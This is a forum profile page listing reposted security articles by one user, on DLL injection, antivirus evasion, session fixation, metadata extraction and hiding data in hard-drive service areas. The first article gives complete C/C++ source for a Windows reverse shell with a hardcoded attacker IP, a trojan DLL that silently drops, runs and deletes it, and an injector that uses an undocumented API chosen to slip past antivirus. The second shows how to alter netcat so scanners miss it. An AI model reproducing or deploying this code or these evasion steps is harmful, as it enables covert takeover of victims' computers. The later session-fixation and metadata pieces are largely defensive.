-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
[h=3]Reverse shell through DLL Injection using undocumented API function[/h]This article refers to people who already know how to program in c or c++ and have a basic knowledge of windows API calls. In addition some knowledge of exploitation techniques is needed such as what is a reverse shell, how we can use netcat etc... If this is the first time for you to read such things then do not bother to read the article. DLL Injection is a popular technique used by attackers to inject an executable in order to perform controlled code execution. Serveral methods for preventing this has been developed by OS creators, but w/o 100% success. In this article I will present two methods of a successful attack to a windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. The reason that I prefer the 2nd method is because of the fact that the 1st method trigger an alarm of the windows security essentials antivirus while the 2nd does not! In addition, a "home made" undetectable reverse shell (developed in c++) will be used in conjuction with a method of transferring or packing an executable inside another executable. The final attack will be performed using two methods. The traditional (manual) method that I use only Netcat and the... "official" method that I use the well known Armitage of the Metasploit arsenal. Pictures of the attack will be available to you as well as a short video. Before we start I would like to clarify that this is not a "How to invade" tutorial neither a method of how to install a Trojan to a victim's box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7. Nothing more and nothing less. If you feel immature enough to get this method to harm others' computers then the blame is not mine but in your mind This is for educational purposes only. The Early Steps In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander, the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program I will immediately get a shell in my PC (locally or remotely) with the same privileges as the injected program itself. To be specific, the method is like this: The method 1. Check if 'Total Commander' is running. 2. If it is running inject it, and return a reverse shell to a specific IP while continue running Total Commander. 3. If 'Total Commander' is not running goto 1. My approach will use three programs: 1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack. 2. myDLL.DLL: Is the DLL that will be used as a trojan horse. It will 'carry' the reverse shell. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. 3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method. [h=2]Step 1: Creating the reverse shell.[/h]I will present here my source code of my reverse shell. The code is the following: /* AJVrs.c Reverse shell in win32 (c) by thiseas 2010 Compile with VS 2008 from command line with cl: C:> cl AJVrs.c ***************************************************************/ #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") //Inform the linker that the Ws2_32.lib file is needed. #define DEFAULT_PORT 1234 #define DEFAULT_IP "192.168.1.70" WSADATA wsaData; SOCKET Winsocket; STARTUPINFO theProcess; PROCESS_INFORMATION info_proc; struct sockaddr_in Winsocket_Structure; int main(int argc, char *argv[]) { char *IP = DEFAULT_IP; short port = DEFAULT_PORT; if (argc == 3){ strncpy(IP,argv[1],16); port = atoi(argv[2]); } WSAStartup(MAKEWORD(2,2), &wsaData); Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL); Winsocket_Structure.sin_port=htons(port); Winsocket_Structure.sin_family=AF_INET; Winsocket_Structure.sin_addr.s_addr=inet_addr(IP); if(Winsocket==INVALID_SOCKET) { WSACleanup(); return 1; } if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR) { WSACleanup(); return 1; } // Starting shell by creating a new process with i/o redirection. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; } return 0; } As you can see the code is self explanatory and I am not going into details on it because this is not a programming tutorial. The above program can be used as is, instead of netcat or in conjuction with it. Usage: On attacker box run Necat to listen for a connection: on fedora : nc -l 1234 on other linux dist : nc -v -l -p 1234 on win box : nc -v -l -p 1234 On victim's box, run my reverse shell: c:> AJVrs.exe <attackerIP> 1234 [h=2]Step 2: Store the executable code of the reverse shell inside a program.[/h]We will keep the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain how later). We are actually get the byte code of the shell and put it inside to another program. The problem here is how to get the byte code and put it to another program source. There many methods to do this. I test one that i thouhgt it will worked (and it does worked!). I am almost sure that this method has been used by other ppl, but I did not bother to search for this. The goal is to store the whole executable inside a byte array and then write this byte array to disk. The new file that will be created will be a normal PE executable! I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View. Then, Right Click and Copy. Paste the select code in a new file. Turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy. I put the selected bytes to a new file and I change them as the following example: from ... 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ... to ... \x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00 ... The above task can be easy if we replace every space " " with "\x". But again we will loose the 1st characters on each line. So it is wise if first we move all the text one position on the right: Example from: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 to: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 Just to make one space... But again, I am not finished. I must put every line in double quotes: Using the column mode (Alt+C) I can easily enclose each line with " in order to meet my final goal which is: "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" .... Ok... that's it. I save this file to disk using the name MyTempByteCode.txt [h=2]Step 3: Creating the DLL.[/h]Its time to create my DLL now. It is the DLL that will be used as a trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. I created using C++ in Microsoft Visual Studio 2008. The source code is: #include<stdio.h> #include <windows.h> // In recerseshell I just put contents of the file MyTempByteCode.txt char recerseshell[] = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" ... ... "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: int i, len = sizeof(recerseshell); FILE *ptr ; ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb"); for (i=0; i<len; i++) fprintf(ptr, "%c",recerseshell[i]); fclose(ptr); Sleep(1000); WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE); Sleep(1000); WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE); } } Again the source code is self explanatory: When the dll attach process is met, I write the reverse byte code to a file, I execute it (in order to open the reverse shell) and I delete it from the disk in order to hide my tracks. [h=2]Step 4: Performing the injection.[/h]Now I need a program to handle or better to trigger the above dll. This is my 3nd program dllattack08.exe: It is the program that will perform the actual injection to 'Total Commander' using two methods (as I promised). The documented API and the undocumented API (the stealth one!). I create the program using C++ VS 2008 (again). The source code is the following: #include <windows.h> #include <TlHelp32.h> #include <shlwapi.h> // Add Lib: Shlwapi.lib #include <stdio.h> typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); //Buffer argument passed to NtCreateThreadEx function struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID) { PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if(Process32First(hSnapshot, &Pc)){ do{ if(StrStrI(Pc.szExeFile, szExeName)) { *ProcessID = Pc.th32ProcessID; return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID); } }while(Process32Next(hSnapshot, &Pc)); } return NULL; } BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); if (lpvMem == NULL) return FALSE; if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL)) return FALSE; DWORD dwWaitResult= 0, dwExitResult = 0; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, 0, NULL); if(hThread != NULL){ dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free. GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL); DWORD dwWaitResult, dwExitResult = 0; HMODULE modNtDll = GetModuleHandle(L"ntdll.dll"); if( !modNtDll ) { //printf("\n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx"); if( !funNtCreateThreadEx ) { //printf("\n failed to get funtion address from ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } NtCreateThreadExBuffer ntbuffer; memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer)); DWORD temp1 = 0; DWORD temp2 = 0; ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = 0;//&temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; ntbuffer.Unknown8 = 0; HANDLE hThread; NTSTATUS status = funNtCreateThreadEx( &hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, FALSE, //start instantly NULL, NULL, NULL, &ntbuffer ); if(hThread != NULL){ // keep the dll injection action for 10 seconds before free. dwWaitResult = WaitForSingleObject(hThread, 10000); GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } int ActivateSeDebugPrivilege(void){ HANDLE hToken; LUID Val; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(GetLastError()); if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val)) return(GetLastError()); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Val; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) return(GetLastError()); CloseHandle(hToken); return 1; } int main(int argc, char *argv[]) { DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID; LPCWSTR lpVictimProcess = TEXT("totalcmd.exe"); char *cpVictimProcess = "totalcmd.exe"; printf("DLL Injection.\n"); if ( ActivateSeDebugPrivilege() == 1) printf("Get All Privilege.\n"); else printf("Cannot Get All Privilege.\n"); printf("Waiting for process %s...",cpVictimProcess); HANDLE hProcess; do{ hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID); Sleep(1); }while(hProcess == NULL); printf("\nFound! Try to inject..."); // Get the session ID of the remote process. //DWORD RemoteSessionID = ProcessIdToSessionId( hProcess ); if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf("\nFailed to get the current session with error %d", GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf("\nFailed to get the remote session with error %d", GetLastError()); } if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) printf("\nSUCCESSFUL!\n"); else printf("\nFailed!\n"); return 0; } I suppose that some things need clarification here: The function that perform the actuall DLL injection using the documented API CreateRemoteThread is: DllInject(hProcess, "\\DLLInjection\\myDLL.dll") The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL flename that will be attached to the injected executable. As you can see this is "open" enough to accept anything you like... Another interesting topic is the use of the SeDebugPrivilege function as an effort to obtain as many priviledges as possible. Microsoft states that: "By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do." ( http://support.microsoft.com/kb/185215 ) This is interesting indeed, huh? To be honest, I suppose that the above is not 100% true for windows 7, but you never know. It was worth a try... anyway. An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyse undocumented Windows API functions is another (indeed challenging) story that I 'll explain in another article. The documented API is impleneted in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code: from if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) to if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll")) and that’s it. You become stealth! [h=2]Attack using the manual way[/h]Below is an example of the attack using the manual (traditional) way: Attack using Metasploit Armitage Metasploit [http://www.metasploit.com/] is a professional tool for pen testers and not only. Armitage [http://www.fastandeasyhacking.com/] is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here: and One of the interesting thing here is that any reverse shell can be used. You can (for example) create an encrypted one using metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code is open enough to support such techniques. [h=2]Sample Videos of attacks[/h] [1]. Case I: Total Commander is already open http://rapidshare.com/files/454308917/Dll-Inject-Attack-Video.rar [2]. Case II: Total Commander is opened after the injection https://rapidshare.com/files/3697690472/Dll-Inject-Attack_II.rar Posted by Andreas Venieris at 10:08 PM Sursa: 0x191 Unauthorized: Reverse shell through DLL Injection using undocumented API function
-
Antivirus Hiding There are a lot of choices when we want to pen test an application. We can create a specific program to do this. We can use an existing one. We can modify (or... fork) an existing. Maybe, the ideal is to create your own program for attack, but again, this, has some drawbacks: You don't have to reinvent the wheel. Deadlines and cost make such approach impossible. In addition, there are plenty of tools in the wild that can be easily used for an attack. Netcat is such a tool. The well know Swiss army knife. It is not easy to create such a program from scratch. We can use it for light pen tests but not for professional use (supposing that we following a black-box method) as many anti-viruses consider it as a threat. Is there is something we can do about it? Hmm, I suppose yes! There many ways to hide the program from an anti-virus. I will present two of them. But, before we start, we must say something about how anti-viruses recognize threats. Actually there many ways to do this, but a general rule (that is used in most of cases) is the following: Using an one-way hash function they encoded a known executable Malware file into a smaller but unique code and they store this code into its internal database. When we try to execute a program they transform our executable (using the same hash function) into a code and they check if this code exist in its database. If it exists they consider the executable as a threat and they block it. So, our goal is to change the executable (or some bytes of it) in such way that will produce a totally new hashed code that is not exists in anti-virus database. If we did this then our executable will not be considered as a legitimate program! Method 1, the easy one In this method we will change some bytes in the executable in order to hide it from an anti-virus. We must be very careful here because it is very easy to change the behavior of the executable or even worst to destroy it (make it impossible to run). The principle that is behind this approach is the following: Almost every program has in its code some software interrupts that used by debuggers to interrupt program execution. Software interrupts are useful to programmers when they need to put break points to pause execution at a specific address in order to review the code and/or data. With software interrupts this task can be done without overwriting programs code. But... we are not in a debugging status here. We don't need these interrupts. We can replace them with something else, with some... nothing: The NOP mnemonic! Lets be more specific: Software Interrupt represented by the assembly mnemonic INT 3 which is the CC instruction. NOP is represented by the 90 instruction. Thus, if we change every CC with 90 then we will have a totally different executable with exactly the same behavior. We can do this from simple hex editor. In my example I choose to use the very best windows editor ultraedit. I open the nc.exe with ultra edit in hex mode and I tried to find some CC instructions. The above CC instructions must be replaced by 90. To be honest I search for every triple of "CCCCCC" and I replace then with "909090". I save the file as "ncWithNOPs.exe". Now lets test our results. I will use the well known http://www.virustotal.com site to test the programs for Malware behaviour. First I check the original Netcat program (nc.exe): As we can see, this program is considering as a threat from 25 of 42 anti-virus programs (59.5% positive threat). Let's try my ncWithNOPs.exe to see what happens: This program is considering as a threat from 16 of 43 anti-virus programs (37.2% positive threat). Better results indeed, but not very impressive. We can conclude that this method is moderate but not good enough. It can be used when we would like to hide our program from specific anti-viruses. Method 2: Modifying the source code This method is more challenging but requires to have the source code and of course to know how to program! Ideal candidate for this method are all Open Source programs. Netcat is not an exception. Its source code that will be run on Windows can be found here. We can get the source code, modifying in such way that will produce a different executable with the same functionality. I used this method by making changes to the source code of Netcat without changing its actual behavior. The changes in source code I made was: 1. I change the name of any constant in the program (using global replace). 2. I change the name of any variable in the program (using global replace). 3. I change the name of any function in the program (using global replace). 4. I add more parameters to many functions that did nothing. 5. I change loops. For example I change While-loops to their For-loops equivalent. 6. I compile the program with no optimizations. This is because I wanted to keep all my "dummy" variables/parameters or loops intact. 7. I didn't use any packer in purpose. Many anti-viruses dislike them! Finally I recompile and test the program in order to check that retains its initial functionality. I rename the program to "test.exe" and I put it to the virus-total. The results were good: Only 1 (Nod32) of 43 anti-viruses was able to uncover the program, which is a 2.3% positive threat. Not bad huh? I am also sure that with some more modifications the final Netcat.exe would be totally invisible by any anti-virus. Remarks I will not provide you the final executable as a minimum defense line against script kiddies. If you know how to program it is VERY EASY to implement the above steps in the original source files. References http://dl.packetstormsecurity.net/papers/virus/Taking_Back_Netcat.pdf Sources You can download the original source code for Netcat for Windows from here. Posted by Andreas Venieris at 10:21 PM Sursa: 0x191 Unauthorized: Antivirus Hiding
-
Session Fixation Vulnerability in Web-based Applications Mitja Kolšek mitja.kolsek@acrossecurity.com ACROS Security http://www.acrossecurity.com December 2002 (Revised February 2007 – the Acknowledgments section) Current copy available at http://www.acrossecurity.com/papers/session_fixation.pdf Abstract Many web-based applications employ some kind of session management to create a user-friendly environment. Sessions are stored on server and associated with respective users by session identifiers (IDs). Naturally, session IDs present an attractive target for attackers, who, by obtaining them, effectively hijack users’ identities. Knowing that, web servers are employing techniques for protecting session IDs from three classes of attacks: interception, prediction and brute-force attacks. This paper reveals a fourth class of attacks against session IDs: session fixation attacks. In a session fixation attack, the attacker fixes the user’s session ID before the user even logs into the target server, thereby eliminating the need to obtain the user’s session ID afterwards. There are many ways for the attacker to perform a session fixation attack, depending on the session ID transport mechanism (URL arguments, hidden form fields, cookies) and the vulnerabilities available in the target system or its immediate environment. The paper provides detailed information about exploiting vulnerable systems as well as recommendations for protecting them against session fixation attacks. Download: http://www.acros.si/papers/session_fixation.pdf
-
Session Fixation Published in PHP Architect on 16 Feb 2004 Last Updated 16 Feb 2004 Pe vremea cand cautam asa ceva nu gaseam nimic... Security is gaining more and more attention among PHP professionals. As PHP continues to be a key component of the Web's future, malicious attackers will begin to target weaknesses in PHP applications more frequently, and developers need to be ready. I am very pleased to introduce Security Corner, a new monthly column that is focused completely on PHP security. Each month, I will discuss an important topic in great detail that can help you improve the security of your PHP applications and defend against various types of attacks. These topics will not be vague, general overviews, so if you are looking for an introduction to PHP application security, you will be better served by other sources of information such as the PHP manual's chapter on security. This month's topic is session fixation, a method of obtaining a valid session identifier without the need for predicting or capturing one. The name for this type of attack originates from a publication by Acros Security entitled Session Fixation Vulnerability in Web-based Applications, although the method itself predates the publication. I will expand on the basic idea of session fixation and demonstrate some methods of prevention, all in a PHP-specific context. Session Fixation Session security is a vast and complex topic. One of the fundamental principles of Web application security is to never trust data from the client. However, in order to achieve statefulness, the client must identify itself by sending a unique identifier. This fundamental conflict creates significant complexities for developers wanting to build secure, stateful applications. In fact, the session mechanism in any Web application is likely to be that application's most vulnerable feature, and session security is one of the most complex topics of Web application security on any platform. There are numerous types of session-based attacks. Many of these fit into a category called impersonation (session hijacking), where a malicious user attempts to access another user's session by posing as that user. At the very least, these types of attacks require that the malicious user obtain a valid session identifier, because this is the minimum amount of information that must be used for identification. There are at least three ways that a valid session identifier can be obtained by an attacker: Prediction Capture Fixation Prediction only involves guessing a valid session identifier. This guess can range from a wild guess to an educated one, depending upon the sophistication of the attack being used. With PHP's native session mechanism, valid session identifiers are extremely difficult to predict, so this is unlikely to be the weakest point in your implementation. Capturing a valid session identifier is much more common, and there are numerous types of attacks that use this approach. When a cookie is used to store the session identifier, a browser vulnerability might be exploited in order to obtain the session identifier. When a URL variable is used, the session identifier is more exposed, and there are many more potential methods of capture. For this reason, cookies are generally considered to be more secure than URL variables for session identifier propagation, although user preferences must be honored, and browser vulnerabilities exist in all versions of the most popular browser, Internet Explorer (see peacefire.org/security/iecookies/ and Passport Hacking Revisited for more information). Session fixation is a method that tricks a victim into using a session identifier chosen by the attacker. If successful, it represents the simplest method with which a valid session identifier can be obtained. A Simple Attack In the simplest case, a session fixation attack can use a link: <a href="http://host/index.php?PHPSESSID=1234"> Click here </a> Or a protocol-level redirect: <?php header('Location: http://host/index.php?PHPSESSID=1234'); ?> Other methods include the Refresh header, whether passed as a legitimate HTTP header or by using a meta tag's http-equiv attribute. The point is to get the user to visit a remote URL that includes a session identifier of the attacker's choosing. This is the first step in a basic attack, and the full-circle attack is illustrated in Figure 1. Figure 1: A typical session fixation attack If successful, the attacker is able to bypass the necessity of capturing or predicting a valid session identifier, and it is subsequently possible to launch additional and more dangerous types of attacks. Think you're not vulnerable? Consider the code in Listing 1. Save this code as session.php somewhere where you can test it. After you ensure that you have no existing cookies from the same host (clear all cookies if you're not certain), use a URL ending in session.php?PHPSESSID=1234 to visit the page. For example, http://host/session.php?PHPSESSID=1234. The script should output 0 on your screen upon your first visit. Reload the page a few times, and you should notice the number incrementing each time, indicating the number of previous visits. Listing 1 <?php session_start(); if (!isset($_SESSION['count'])) { $_SESSION['count'] = 0; } else { $_SESSION['count']++; } echo $_SESSION['count']; ?> With a different browser, or even an entirely different computer, go through the exact same initial steps. Upon visiting the URL for the first time, you will notice that you do not see 0. Rather, it recalls your previous session. Thus, you have impersonated the previous user. Now, if you consider that this all began with a session identifier being passed in the URL, you should see the basic danger that session fixation presents. Unlike a typical scenario, PHP did not generate the session identifier. There are a few shortcomings to this simplistic type of attack. The most important shortcoming is that the target application must use the session identifier passed to it, otherwise this attack will fail. If your session mechanism is nothing more than session_start(), your applications are vulnerable, as the previous demonstration illustrates. In order to prevent this specific vulnerability, you should always ensure that a new session identifier is used whenever you are starting a session for the first time. There are many ways this can be achieved, and one example is given in Listing 2 (this approach, too, has at least one weakness, so wait until you finish this article before deciding on the solution that best fits your needs). Listing 2 <?php session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?> If the code in Listing 2 is used to start all sessions, any existing session will always have a session variable named initiated that is already set. If this is not the case, the session is new. The call to session_regenerate_id() replaces the current session identifier with a new one, although it retains the old session information. So, if the attacker coerced a user into using an external link to your application that contains the session identifier, this approach will prevent the attacker from knowing the new session identifier, unless the session has already been initiated. A Sophisticated Attack A more sophisticated session fixation attack is one that first initiates a session on the target site, optionally keeps the session from timing out, and then executes the steps mentioned previously. An alternative to the approach used in Listing 2 is to call session_regenerate_id() whenever a user successfully logs in, since this is the moment the session data becomes sensitive for most applications. For example, whenever you validate a user's username and password, you might set a session variable that indicates success: $_SESSION['logged_in'] = true; Just prior to setting such a session variable, a call to session_regenerate_id() can help to protect against a session fixation attack: session_regenerate_id(); $_SESSION['logged_in'] = true; In fact, a good approach is to always regenerate the session identifier whenever the user's privilege level changes at all, including situations where the user must re-authenticate due to a timeout. By doing this, you can be sure that a session fixation vulnerability is not the weakest aspect of your access control mechanism. This approach is more secure than the previous example, because it adds another significant obstacle for an attacker to overcome, and it prevents sophisticated attacks where a valid session is first created and maintained. Unfortunately, it still may have at least one weakness, although your application design should already prevent it. An Advanced Attack In the most advanced type of session fixation attack, the attacker first obtains a valid account on the target application ? and this is typically only appealing when the attacker can do so anonymously. On some PHP applications, the login page is a separate script, such as login.php, and this script may not check the user's state, because it seems safer to assume that the user has not been authenticated. On the contrary, this approach can allow an attacker to create a session, log into the application with that session, optionally keep the session from timing out, and use the URL to the login page to launch the attack. If the login page accepts the new user's login but fails to regenerate the session identifier (because the privilege level has not changed), a vulnerability exists. This scenario may seem unlikely, but a thorough examination of your code with this situation in mind is well worth your time. There are two easy ways to prevent this particular issue: Have the login page recognize the user's state. Always regenerate the session identifier on the receiving script, regardless of the user's state. Until Next Time... A good generic recommendation for preventing session fixation attacks is to regenerate the session identifier anytime the user provides authentication information of any kind. Be wary of passing along such a simplistic catch-all suggestion, however, because misinterpretations are likely when someone is unfamiliar with the type of attack being prevented. There is no substitute for a good understanding of session fixation, and it is possible that the best prevention for your applications is not even mentioned in this article. Hopefully, you can now eliminate session fixation from your list of serious security risks with which to be concerned. If you develop a particularly creative method of prevention, I would love to hear it. Until next month, be safe. Sursa: Chris Shiflett ? Session Fixation
-
[h=2]Extracting Metada From Files[/h] Penetration testers must be able to think outside of the box and to use whatever method is necessary in order to discover information about their targets.Malicious attackers will not stop in the conventional tactics and this should apply and to the penetration tester.Many organizations are uploading in their websites word documents and excel files without been aware that they expose sensitive information.This information is hidden in the metadata of the files.Also in application assessments (web or mobile) it is a good practice except of the common vulnerabilities to check and the metadata in order to see if this information can be used in a malicious way.In this article we will examine some of the tools that we can use for metadata extraction and what kind of information can unveil. [h=2]Exiftool[/h] One of the tools that can extract Metadata information is the exiftool.This tool is found in Backtrack distribution and can extract information from various file types like DOC,XLS,PPT,PNG and JPEG.Typically the information that we would look for are: Title Subject Author Comments Software Company Manager Hyperlinks Current User Below is the information that we have obtained from an image and the metadata from a doc file. Extracting metadata of an image – exiftool Metadata of a doc file Metadata of a doc file 2 [h=2]FOCA[/h] FOCA is another great tool for analyzing metadata in documents.It is a GUI based tool which make the process a lot of easier.The only thing that we have to do is to specify the domain that we want to search for files and the file type (doc,xls,pdf) and FOCA will perform the job for us very easily.Below you can see a screenshot of the metadata that we have extracted from a doc file.As you can see we have obtained a username an internal path and the operating system that the file has created. FOCA – Metadata Conclusion As we have seen in this article metadata can unveil important information which can be used in conjunction with other attacks.Companies should be aware about this exposure of information that exist in their documents and before they upload something on public domain must use the appropriate tools first in order to remove the metadata from their files and to mitigate the risk. Sursa: Extracting Metada From Files
-
Da... eMAG.ro - cea mai variata gama de produse
-
Hiding Data in Hard-Drive’s Service Areas Ariel Berkman <ariel@recover.co.il> Recover Information Technologies LTD http://www.recover.co.il February 14, 2013 Contents 1 Introduction 2 Service Areas and Service Area Modules 3 Service Area Sizes 4 Other Reserved Areas 5 Data Hiding and Sanitation 6 Proof of Concept 7 Summary 1 Introduction In this paper we will demonstrate how spinning hard-drives’ service areas1 can be used to hide data from the operating-system (or any software using the standard OS’s API or the standard ATA commands to access the hard-drive). These reserved areas are used by hard-drive vendors to store modules that in turn operate the drive, and in a sense, together with the ROM, serve as the hard-drive’s internal storage and OS. By sending Vendor Specific Commands (VSCs) directly to the hard-drive, one can manipulate these areas to read and write data that are otherwise inaccessible. This should not be confused with DCO2 or HPA3 which can be easily detected, removed and accessed via standard ATA commands. Download: http://www.recover.co.il/SA-cover/SA-cover.pdf
-
Par sa fie cateva chestii interesante: http://www.secitc.eu/wp-content/uploads/2012/05/ConferenceSchedule2012.pdf
-
